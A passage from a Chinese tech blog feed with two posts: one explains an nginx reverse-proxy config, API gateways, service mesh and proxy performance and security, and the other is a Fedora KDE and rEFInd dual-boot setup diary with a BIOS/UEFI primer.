    ssl_session_cache shared:SSL:10m;
    ssl_session_timeout 10m;

    # -----------------------------------------------------
    # 安全响应头 (Security Headers) - 防 XSS/点击劫持等
    # -----------------------------------------------------
    add_header Strict-Transport-Security &quot;max-age=31536000; includeSubDomains&quot; always; # 强制浏览器记住一年内只能用 HTTPS
    add_header X-Frame-Options SAMEORIGIN;           # 也就是不让别人把你的网站嵌在 iframe 里
    add_header X-Content-Type-Options nosniff;       # 防止 MIME 类型嗅探
    add_header X-XSS-Protection &quot;1; mode=block&quot;;     # 开启 XSS 过滤

    # -----------------------------------------------------
    # 性能优化 (Gzip 压缩)
    # -----------------------------------------------------
    gzip on;
    gzip_types text/plain text/css application/json application/javascript text/xml;
    gzip_min_length 1000; # 小于 1k 的文件不压缩（因为压了也省不了多少）

    # -----------------------------------------------------
    # 静态前端资源 
    # -----------------------------------------------------
    root /var/www/html/sleepinggggg;
    index index.html;

    location / {
        # 单页应用 (SPA) 必备配置：
        # 找不到文件就退回到 index.html，让前端路由接管
        try_files $uri $uri/ /index.html;
    }

    # -----------------------------------------------------
    # 静态资源缓存 (图片/JS/CSS)
    # -----------------------------------------------------
    location ~* \.(js|css|png|jpg|jpeg|gif|ico|svg)$ {
        expires 30d; # 缓存 30 天
        add_header Cache-Control &quot;public, no-transform&quot;;
    }

    # -----------------------------------------------------
    # 后端 API 转发
    # -----------------------------------------------------
    location /api/ {
        proxy_pass http://my_backend_api; # 转发给上面的 upstream
        
        # 转发时携带真实的客户端信息，不然后端拿到的 IP 全是 127.0.0.1
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;证书那边可提前下载certbot
然后用&lt;code&gt;sudo certbot --nginx&lt;/code&gt;去一键配置&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;什么，你说你想知道证书具体是什么和怎么申请？
那你学完教我zwz 反正没那么复杂&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;常见组件&lt;/h3&gt;
&lt;p&gt;反向代理常见组件及其特点：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Nginx / OpenResty。成熟、高性能的 HTTP 反向代理和负载均衡器，配置灵活，配合 ngx_http_upstream_module 支持多种负载均衡算法和健康检查，也可以通过 Lua 脚本扩展复杂逻辑&lt;/li&gt;
&lt;li&gt;Caddy。配置简洁，默认采用安全合理的 TLS 设置，reverse_proxy 指令支持多种负载均衡策略和健康检查，适合快速搭建反向代理和小型网关&lt;/li&gt;
&lt;li&gt;HAProxy。偏重 L4/L7 负载均衡，在金融、电信等高性能场景广泛使用。配置以后端池和前端监听为中心，适合做高可靠入口&lt;/li&gt;
&lt;li&gt;Envoy / Traefik。更偏云原生生态，具备丰富的 L7 过滤器和动态配置接口，是很多 API 网关和 Service Mesh 数据平面的基础&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;API 网关&lt;/h2&gt;
&lt;h3&gt;要解决的问题&lt;/h3&gt;
&lt;p&gt;当后端服务和对外 API 数量增加之后，入口层面的问题不再只是「路由和负载均衡」&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;需要:
根据调用方身份做鉴权和权限控制；&lt;br /&gt;
对不同 API 和不同调用方实施限流、配额和计费；&lt;br /&gt;
在多版本共存时按用户或流量比例做灰度和金丝雀发布；&lt;br /&gt;
集中记录调用日志和审计信息，便于追踪和合规。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;散落在每个微服务中实现这些功能，会带来重复工作和一致性问题。API 网关就是在反向代理基础上，把这些 API 相关的横切关注点挪到统一入口&lt;/p&gt;
&lt;h3&gt;主要能力&lt;/h3&gt;
&lt;p&gt;典型 API 网关在 L7 代理之上叠加了几类能力：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;鉴权与认证。支持 JWT、OAuth2/OpenID Connect、API Key 等认证方式&lt;/li&gt;
&lt;li&gt;细粒度访问控制。按调用方、租户、路径、方法等维度控制访问权限&lt;/li&gt;
&lt;li&gt;限流与配额。按 IP、用户、API 限制请求速率和总调用次数，支持滑动窗口等算法&lt;/li&gt;
&lt;li&gt;协议转换。接收外部 HTTP+JSON 请求，内部转换为 gRPC 或自研 RPC 协议&lt;/li&gt;
&lt;li&gt;灰度与路由策略。按 Header、Cookie、用户特征或百分比分配流量到不同版本服务&lt;/li&gt;
&lt;li&gt;审计日志与监控。记录详细调用信息，配合 metrics 和 tracing 工具，形成完整观测体系&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;开源网关（如 Kong、APISIX 等）一般以 Nginx 或 Envoy 为核心，在其上插入 Lua/插件链与控制面，实现上述能力&lt;/p&gt;
&lt;h3&gt;与反向代理的关系&lt;/h3&gt;
&lt;p&gt;API 网关可以看作是&lt;strong&gt;带 API 语义和策略系统的反向代理&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;反向代理关注的是&lt;strong&gt;从路径/Host 到某个后端实例&lt;/strong&gt;的映射，以及性能与可靠性问题&lt;/p&gt;
&lt;p&gt;API 网关在此基础上增加了&lt;strong&gt;调用方是谁、能访问什么、何时访问、如何计费和审计&lt;/strong&gt;等维度，在架构图中往往作为对外统一入口，后面再通过反向代理或直连访问微服务集群&lt;/p&gt;
&lt;h2&gt;Service Mesh&lt;/h2&gt;
&lt;h3&gt;出现背景&lt;/h3&gt;
&lt;p&gt;微服务拆分之后，服务间调用形成一张庞大网，问题逐渐开始变化了：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;每个服务都需要对下游调用做重试、超时、熔断、负载均衡&lt;/li&gt;
&lt;li&gt;服务之间需要统一的 mTLS，加密和认证不能依赖各语言的实现细节&lt;/li&gt;
&lt;li&gt;需要在不修改应用代码的情况下，对服务间流量做路由和灰度&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;这些需求本质上是网络层和基础设施层的职责&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Service Mesh 就是在服务实例旁边部署 sidecar 代理，加上集中控制面，把网络治理能力从业务代码中抽离&lt;/p&gt;
&lt;h3&gt;控制面和数据面&lt;/h3&gt;
&lt;p&gt;Mesh 体系结构一般分为控制面和数据面&lt;/p&gt;
&lt;p&gt;控制面负责：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;保存和下发服务发现信息；&lt;/li&gt;
&lt;li&gt;下发路由、重试、超时、熔断策略；&lt;/li&gt;
&lt;li&gt;管理和分发证书，实现 mTLS；&lt;/li&gt;
&lt;li&gt;收集 metrics、日志和 trace&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;数据面由大量 sidecar 代理组成，每个服务实例旁边一个，如 Envoy。应用所有入站和出站流量都经过本地 sidecar：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Service A ↔ sidecar A ↔ sidecar B ↔ Service B
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;sidecar 根据控制面下发的配置，对请求做负载均衡、TLS 握手、流量控制和观测&lt;/p&gt;
&lt;h3&gt;Sidecar 职责&lt;/h3&gt;
&lt;p&gt;Sidecar 在本地承担的职责包括：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;对出站流量执行服务发现、负载均衡、路由、重试和熔断策略；&lt;/li&gt;
&lt;li&gt;对入站流量执行鉴权、限流，并注入 tracing Header 和 metrics；&lt;/li&gt;
&lt;li&gt;与控制面交互，接收动态配置和证书更新&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;可以把它看作每个服务进程前的一个「反向代理 + 出口代理」组合，只不过配置来源统一于控制面&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;与网关和反向代理的关系&lt;/h3&gt;
&lt;p&gt;From/To 角度看，各层职责可以简化为：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;入口 API 网关和反向代理处理「外部客户端 → 系统」的南北向流量
Service Mesh sidecar 处理「系统内服务之间」的东西向流量&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;典型调用链路是：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Client → API 网关 / 入口反代 → Service A sidecar → Service A
                                 ↓
                              Service B sidecar → Service B
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;底层组件可能都是 Envoy，只是部署位置和控制面不同&lt;/p&gt;
&lt;h2&gt;代理的实现和性能&lt;/h2&gt;
&lt;h3&gt;并发模型&lt;/h3&gt;
&lt;h4&gt;阻塞模型&lt;/h4&gt;
&lt;p&gt;早期代理常见模式是阻塞 I/O，每个连接由一个线程或进程负责处理，调用阻塞 read/write。实现简单直观，但线程数随着连接数线性增长，在线程调度、内存占用和上下文切换上成本较高&lt;/p&gt;
&lt;h4&gt;事件驱动模型&lt;/h4&gt;
&lt;p&gt;现代高性能代理普遍采用事件驱动模型：将 socket 设置为非阻塞，用 epoll/kqueue 等多路复用接口统一等待可读/可写事件，在少量 worker 线程中循环处理就绪事件&lt;/p&gt;
&lt;p&gt;Nginx 的 worker 进程就是典型事件循环，每个 worker 维护自己的事件队列和连接集合。HAProxy、Envoy 等也采用类似思想&lt;/p&gt;
&lt;h4&gt;协程模型&lt;/h4&gt;
&lt;p&gt;在事件驱动基础上引入协程（用户态线程）可以在不牺牲性能的前提下，以同步代码风格编写逻辑。Go 语言的 goroutine、Rust 的 async/await 等都可以用来实现高并发代理&lt;/p&gt;
&lt;p&gt;协程模型下，I/O 等待通过调度器挂起协程，释放线程去处理其他任务，实现「少量线程 + 大量并发连接」的组合&lt;/p&gt;
&lt;h3&gt;通用数据路径&lt;/h3&gt;
&lt;p&gt;从一条 HTTP 请求的角度看，一个典型 L7 代理内部的数据路径可以概括为：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;监听端口接收 TCP 连接，必要时完成 TLS 握手；&lt;/li&gt;
&lt;li&gt;读取请求，解析协议（HTTP/HTTP2/HTTP3 等），构建内部请求结构；&lt;/li&gt;
&lt;li&gt;根据 Host/Path/Method/Header 或其他元数据，匹配路由和规则，选择上游集群和具体实例；&lt;/li&gt;
&lt;li&gt;与上游建立或复用连接（HTTP keepalive，HTTP/2 多路复用等），发送请求；&lt;/li&gt;
&lt;li&gt;在上下游之间转发响应数据，按需执行 Header/Body 改写、压缩、缓存等操作；&lt;/li&gt;
&lt;li&gt;根据协议和配置决定是否复用连接、是否启用 HTTP pipelining/多路复用或关闭连接&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;无论是出口代理、反向代理还是 sidecar，只要工作在 L7，这条路径都是基本骨架&lt;/p&gt;
&lt;h3&gt;性能优化方向&lt;/h3&gt;
&lt;p&gt;性能优化常围绕几个方面展开：&lt;/p&gt;
&lt;h4&gt;连接管理&lt;/h4&gt;
&lt;p&gt;尽量启用 keepalive、连接池、HTTP/2/HTTP/3 等机制减少建立/拆除连接的开销；控制连接池大小和 Idle 超时时间，避免过多空闲连接占用资源&lt;/p&gt;
&lt;h4&gt;数据拷贝&lt;/h4&gt;
&lt;p&gt;使用 sendfile、splice 等系统调用减少用户态–内核态之间的拷贝次数；合理设置缓冲区大小，避免大量小包或过大缓冲空间浪费&lt;/p&gt;
&lt;h4&gt;内核参数&lt;/h4&gt;
&lt;p&gt;调优文件描述符上限、端口范围、接收/发送缓冲区、连接队列长度、TIME_WAIT 回收策略等，以支持更高并发和更平滑的连接复用&lt;/p&gt;
&lt;h4&gt;规则与插件链路&lt;/h4&gt;
&lt;p&gt;对热点路径上的规则匹配和插件调用进行简化，避免昂贵的正则或高复杂度逻辑带来的延迟和抖动&lt;/p&gt;
&lt;p&gt;Nginx 的 worker_connections、keepalive、proxy_buffering，Envoy 的 connection pool 和 circuit breaker 配置，终端代理的 TCP keepalive 与并发限制，都是这一层的体现&lt;/p&gt;
&lt;h3&gt;安全要点&lt;/h3&gt;
&lt;p&gt;代理位于数据路径中，是高价值的控制。&lt;/p&gt;
&lt;p&gt;出口代理若暴露在公网且无认证，很容易被当作开放代理，用于发送垃圾邮件或构建 DDoS 反射链，进而导致整个出口 IP 段被列为黑名单&lt;/p&gt;
&lt;p&gt;反向代理若未正确处理 Host、X-Forwarded-For/X-Real-IP 等 Header，可能被利用绕过访问控制或构造 SSRF 通道，访问原本仅允许内网访问的管理接口&lt;/p&gt;
&lt;p&gt;中间人 HTTPS 代理场景下，自建 CA 证书和私钥的安全性至关重要，一旦泄漏，不仅可用于伪造任意站点，还可以解密之前被捕获的历史流量（在未使用前向保密套件时）。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;设计代理拓扑时需要明确信任边界：谁可以访问代理，代理可以访问哪些内外网段，管理接口与数据平面接口是否隔离，日志与监控是否泄漏敏感信息&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;可观测性与调试&lt;/h3&gt;
&lt;p&gt;代理的可观测性直接影响排障效率&lt;/p&gt;
&lt;p&gt;入口代理层通过 access_log 和结构化日志记录请求路径、状态码、耗时、上游信息，可用于定位问题是出在入口、后端还是网络&lt;/p&gt;
&lt;p&gt;metrics 维度可以通过连接数、QPS、各类错误率和延迟直方图暴露系统状态；tracing 维度则通过在入口和各个服务跳数上注入追踪 ID，将一次请求从代理到后端的全路径打通&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;终端代理层的日志可以记录规则命中情况、出站选择、连接错误等信息，对调试分流问题特别重要&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;调试代理相关问题时常用的思路是：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;先验证直连路径是否正常（终端到目标不经代理是否通）；&lt;/li&gt;
&lt;li&gt;再验证代理到目标是否正常（在代理机器上 curl 或本机显式指定代理）；&lt;/li&gt;
&lt;li&gt;结合代理日志和抓包，看流量是否按照预期路径经过代理，并命中正确规则；&lt;/li&gt;
&lt;li&gt;在透明代理场景中，结合路由表、iptables/TProxy/TUN 状态，排查是否存在错误重定向或路由环路&lt;/li&gt;
&lt;/ol&gt;
</content:encoded><author>s3loy</author></item><item><title>My Fedora Journey</title><link>https://blog.s3loy.tech/posts/my-fedora-journey</link><guid isPermaLink="true">https://blog.s3loy.tech/posts/my-fedora-journey</guid><pubDate>Mon, 02 Mar 2026 14:30:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;冷知识:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;F2是机械革命翼龙15pro开bios的按键&lt;/li&gt;
&lt;li&gt;fedora是rpm系，可以直接用dnf install xxx.rpm&lt;/li&gt;
&lt;li&gt;fedora不是arch&lt;/li&gt;
&lt;li&gt;fedora的重音是这样的 fe&apos;dora
叠甲：仅限个人使用，有错误是正常的&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;h2&gt;1. Desktop(KDE plasma 6)::stop using GNOME&lt;/h2&gt;
&lt;p&gt;前端本来用的是默认的&lt;code&gt;GNOME&lt;/code&gt;，因为没有桌面很难受所以换成了&lt;code&gt;KDE plasma&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo dnf install @kde-desktop-environment
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;后面可以在登录页面切换桌面前端&lt;/p&gt;
&lt;h3&gt;1.1. 配置&lt;/h3&gt;
&lt;p&gt;s3是果粉&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;显示和监视器配置-显示器配置-旧式应用程序(X11)&lt;/code&gt; 一定要选 &lt;code&gt;由应用程序进行缩放&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;颜色和主题-全局主题&lt;/code&gt;：WhiteSur-Dark&lt;/li&gt;
&lt;li&gt;&lt;code&gt;颜色和主题-全局主题-颜色&lt;/code&gt;有问题，不能自动下下来暗色配色，要去&lt;a href=&quot;https://store.kde.org/p/1398831&quot;&gt;WhiteSur Color - KDE Store&lt;/a&gt;手动下载，然后 从文件安装 选择&lt;code&gt;WhiteSurDark.colors&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;颜色和主题-全局主题-光标&lt;/code&gt;：Breeze微风深色    官方这个很好看了&lt;/li&gt;
&lt;li&gt;&lt;code&gt;颜色和主题-全局主题-应用程序外观样式&lt;/code&gt;：Breeze微风&lt;/li&gt;
&lt;li&gt;&lt;code&gt;颜色和主题-全局主题-应用程序外观样式-配置GNOME/GTK应用程序外观样式&lt;/code&gt;：WhiteSur-Dark&lt;/li&gt;
&lt;li&gt;&lt;code&gt;文字和字体-文字&lt;/code&gt;：FiraCode Nerd Font 11pt   （有没有推荐的好字体awa）
&lt;strong&gt;&lt;code&gt;动效&lt;/code&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;窗口打开/关闭：按比例缩放&lt;/li&gt;
&lt;li&gt;窗口最大化：拉伸动效&lt;/li&gt;
&lt;li&gt;窗口最小化：最小过渡动画(收缩)&lt;/li&gt;
&lt;li&gt;窗口全屏：拉伸效果&lt;/li&gt;
&lt;li&gt;虚拟桌面切换器：滑动
点一下&lt;code&gt;更多效果设置&lt;/code&gt;来到&lt;code&gt;窗口管理-桌面特效&lt;/code&gt;
以下只写出我勾选的选项&lt;/li&gt;
&lt;li&gt;外观增强-无响应窗口灰化&lt;/li&gt;
&lt;li&gt;外观增强-窗口背景虚化&lt;/li&gt;
&lt;li&gt;外观增强-窗口透明度-常规透明度设置-仅仅稍微降低了一点&lt;code&gt;移动中窗口&lt;/code&gt;的透明度&lt;/li&gt;
&lt;li&gt;外观增强-高亮显示屏幕和周围四角&lt;/li&gt;
&lt;li&gt;窗口管理功能-桌面概览&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;1.2. 桌面优化&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;下方面板设置：&lt;/code&gt;对齐：居中;宽度：填满宽度;显示/隐藏：总是显示;不透明度：自适应;悬浮：面板和小程序;面板高度：40&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;添加的组件：右侧：虚拟桌面切换器，暂时显示桌面&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;上方面板设置：对齐：靠左;宽度：填满宽度;显示/隐藏：总是显示;不透明度：自适应;悬浮：已禁用;面板高度：32&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;添加的组件：左侧：应用程序启动器
右侧从右到左：数字时钟-搜索-系统托盘&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;桌面添加组件&lt;/code&gt;:媒体相框，二进制时钟，窗口列表，网络速度（修改成了内存使用率）&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;Fedora 43默认使用的已经变成了KDE plasma
去掉了X11
Do you like Wayland?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;1.3. Tricks&lt;/h3&gt;
&lt;p&gt;在&lt;code&gt;KDE plasma&lt;/code&gt;上，有一些功能你会很喜欢的&lt;/p&gt;
&lt;h4&gt;1.3.1. 窗口分屏&lt;/h4&gt;
&lt;p&gt;快捷键&lt;code&gt;Meta&lt;/code&gt;+&lt;code&gt;键盘左键和右键和上下键&lt;/code&gt;
当然也可以直接拖动窗口到左右边缘也可以分屏&lt;/p&gt;
&lt;h4&gt;1.3.2. KRunner&lt;/h4&gt;
&lt;p&gt;快捷键&lt;code&gt;alt&lt;/code&gt;+&lt;code&gt;空格&lt;/code&gt;
全局搜索和应用启动等等等等
功能可以自行探索&lt;/p&gt;
&lt;h4&gt;1.3.3. 切换虚拟桌面&lt;/h4&gt;
&lt;p&gt;快捷键&lt;code&gt;ctrl&lt;/code&gt;+&lt;code&gt;Meta&lt;/code&gt;+&lt;code&gt;键盘左右键&lt;/code&gt;
如果配置了桌面循环切换食用更佳a&lt;/p&gt;
&lt;h4&gt;1.3.4. 切换应用&lt;/h4&gt;
&lt;p&gt;快捷键&lt;code&gt;Meta&lt;/code&gt;+&lt;code&gt;tab&lt;/code&gt;或者&lt;code&gt;alt&lt;/code&gt;+&lt;code&gt;tab&lt;/code&gt;&lt;/p&gt;
&lt;h4&gt;1.3.5. 桌面视图&lt;/h4&gt;
&lt;p&gt;快捷键&lt;code&gt;Meta&lt;/code&gt;+&lt;code&gt;G&lt;/code&gt;
使用起来很方便&lt;/p&gt;
&lt;h2&gt;2. Boot(rEFInd)::UEFI Boot Manager&lt;/h2&gt;
&lt;p&gt;因为电脑上是双系统，因此需要一个折中的启动方案
没有选择使用grub引导启动，而是使用了&lt;code&gt;rEFInd&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ sudo dnf install rEFInd

$ sudo refind-install
ShimSource is none
Installing rEFInd on Linux....
ESP was found at /boot/efi using vfat

CAUTION: Your computer appears to be booted with Secure Boot, but you haven&apos;t
specified a valid shim.efi file source. Chances are you should re-run with
the --shim option. You can read more about this topic at
http://www.rodsbooks.com/refind/secureboot.html.

Do you want to proceed with installation (Y/N)? n

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在这看出来问题了，脚本并不能自主识别本地efi在哪个地方
因此使用了&lt;code&gt;sudo refind-install --shim /boot/efi/EFI/fedora/shimx64.efi&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ sudo refind-install --shim /boot/efi/EFI/fedora/shimx64.efi
ShimSource is /boot/efi/EFI/fedora/shimx64.efi
Installing rEFInd on Linux....
ESP was found at /boot/efi using vfat
Installing driver for ext4 (ext4_x64.efi)
Storing copies of rEFInd Secure Boot public keys in //etc/refind.d/keys
Copied rEFInd binary files

Copying sample configuration file as refind.conf; edit this file to configure
rEFInd.

Creating new NVRAM entry
rEFInd is set as the default boot manager.
Creating //boot/refind_linux.conf; edit it to adjust kernel options.
The appropriate Secure Boot key is already enrolled.

Installation has completed successfully.

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这边看起来说都弄好了，结果我到MoK那边去找的时候傻眼了，发现这个keys目录是空的啊！
折腾死了，最后还是选择关掉了&lt;code&gt;Secure Boot&lt;/code&gt;
目前配置仍有问题，自动的识别会多出来很多的启动项
不过确实可以自动扫到windows和fedora,能统一启动是事实，但目前体验感不好&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;最新消息：
使用默认主题选到不需要的启动项可以使用Del按键选择隐藏，因此可以修改好之后再启动&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;同时如果类似fedora这种可以扫出来很多内容，要注意保留的是什么，我就用我自己扫到的举个例子&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Boot Microsoft EFI boot from EFI System Partition&lt;/li&gt;
&lt;li&gt;Boot EFI\fedora\grubx64.efi from EFI System Partition&lt;/li&gt;
&lt;li&gt;Boot EFI\fedora\gcdx64.efi from EFI System Partition&lt;/li&gt;
&lt;li&gt;Boot Fallback boot loader from EFI System Partition&lt;/li&gt;
&lt;li&gt;Boot vmlinuz-6.16.12-200.fc42.x86_64 from 1024 MiB ext4 Volume&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这边只需要保留&lt;code&gt;Microsoft EFI boot&lt;/code&gt;和最后一个 &lt;code&gt;vmlinuz&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;使用的主题是
&lt;a href=&quot;https://github.com/catppuccin/refind&quot;&gt;GitHub - catppuccin/refind: 🔄 Soothing pastel theme for rEFInd&lt;/a&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;知识拓展&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;2.1. UEFI &amp;amp; BIOS&lt;/h3&gt;
&lt;p&gt;BIOS(&lt;strong&gt;Basic Input/Output System&lt;/strong&gt;)&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;POST (Power-On Self-Test，开机自检)&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;它会先清点一遍家当，快速检查所有核心硬件是否连接正常并能工作。如果发现严重问题（比如没插内存条），它就会通过鸣叫来报警。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;寻找“交接手册”&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;自检通过后，老管家需要找到操作系统的“启动说明书”。它不知道 Windows 或 Linux 是什么，但它知道要去一个&lt;strong&gt;固定的地方&lt;/strong&gt;找。这个地方就是硬盘的&lt;strong&gt;第一个扇区&lt;/strong&gt;，一个仅有 512 字节的微小空间，被称为&lt;strong&gt;主引导记录 (MBR - Master Boot Record)&lt;/strong&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;加载并执行&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;BIOS 会把 MBR 里的这段代码加载到内存中，然后把计算机的控制权完全交给它。BIOS 的任务到此基本结束。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;交接班&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;从 MBR 开始，后续的引导加载程序会一步步接力，最终将整个操作系统加载到内存中并运行起来。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;在几十年的时间里，BIOS 工作得非常出色。它简单、可靠、标准化。但随着计算机技术爆炸式发展，他的几个“老毛病”越来越严重：&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;视野太窄（2.2TB 硬盘限制）&lt;/strong&gt;：MBR 使用 32 位地址来记录分区，这导致它能管理的最大硬盘容量只有 2.2TB。在今天 4TB、8TB 硬盘普及的时代，这成了一个无法逾越的障碍。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;启动太慢&lt;/strong&gt;：BIOS 只能以 16 位的“老模式”运行，内存寻址能力只有 1MB，并且它是一个个地初始化硬件，效率低下。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;不够安全&lt;/strong&gt;：BIOS 没有任何安全校验机制。黑客可以制造一种叫“Bootkit”的病毒，在操作系统启动前就感染 MBR，从而获得最高控制权，极难被发现和清除。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;界面古老&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;在老式的 BIOS 启动方式下，电脑启动时会去硬盘的主引导记录 MBR 寻找启动代码，这种方法较为死板，因此聪明的人们就想到了另一种启动方式：UEFI
UEFI 统一可扩展固件接口启动方式，它不依赖于某个固定位置，而是规定硬盘上必须有一个特殊的小分区，这就是 ESP(&lt;strong&gt;EFI System Partition&lt;/strong&gt;)&lt;/p&gt;
&lt;p&gt;ESP的特点：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;格式特殊&lt;/strong&gt;：它必须是 FAT32 格式。这是为了确保所有操作系统和 UEFI 固件都能无障碍地读写它&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;功能专一&lt;/strong&gt;：它的唯一作用就是存放&lt;strong&gt;引导加载程序 (Bootloader)&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::note
ESP 是所有已安装操作系统的启动程序的存放地和调度中心
:::
UEFI 的革命性优势&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;全新的启动方式：GPT 分区与 ESP 分区&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;告别 MBR，拥抱 GPT&lt;/strong&gt;：UEFI 不再使用 MBR，而是使用全新的 &lt;strong&gt;GPT (GUID Partition Table)&lt;/strong&gt; 分区方案。GPT 使用 64 位地址，理论上可以支持高达 9.4 ZB (94 亿 TB) 的硬盘，彻底解决了容量限制问题。同时，它还支持多达 128 个主分区。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;告别固定位置，启用 ESP&lt;/strong&gt;：UEFI 不再去硬盘的第一个扇区找启动代码。而是在硬盘上建立一个标准化的 &lt;strong&gt;EFI 系统分区 (ESP)&lt;/strong&gt;。所有操作系统的引导加载程序（.efi 文件）都以普通文件的形式存放在这个分区里。UEFI 固件会扫描并读取这些文件，生成一个启动菜单。这就像从“在门缝下塞纸条”升级到了“拥有一个标准的公告板”。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;安全启动 (Secure Boot)&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;这是 UEFI 最核心的优势之一。它建立了一个“信任链”。主板固件内置了一些受信任的公钥（通常是微软和硬件厂商的）。&lt;/li&gt;
&lt;li&gt;在启动时，UEFI 会校验引导加载程序（如 gcdx64.efi）的数字签名。如果签名无效或被篡改，UEFI 会拒绝执行它，从而从根源上杜绝了 Bootkit 病毒的入侵。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;现代化的人机交互&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;UEFI 拥有&lt;strong&gt;图形化界面&lt;/strong&gt;，支持鼠标操作，分辨率更高，设置选项也更丰富、更人性化。&lt;/li&gt;
&lt;li&gt;它是一个可扩展的平台，主板厂商可以在 UEFI 界面中内置各种高级功能，比如硬件诊断工具、在线固件更新，甚至是一个简易的网页浏览器。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;无与伦比的性能和速度&lt;/strong&gt;
&lt;ul&gt;
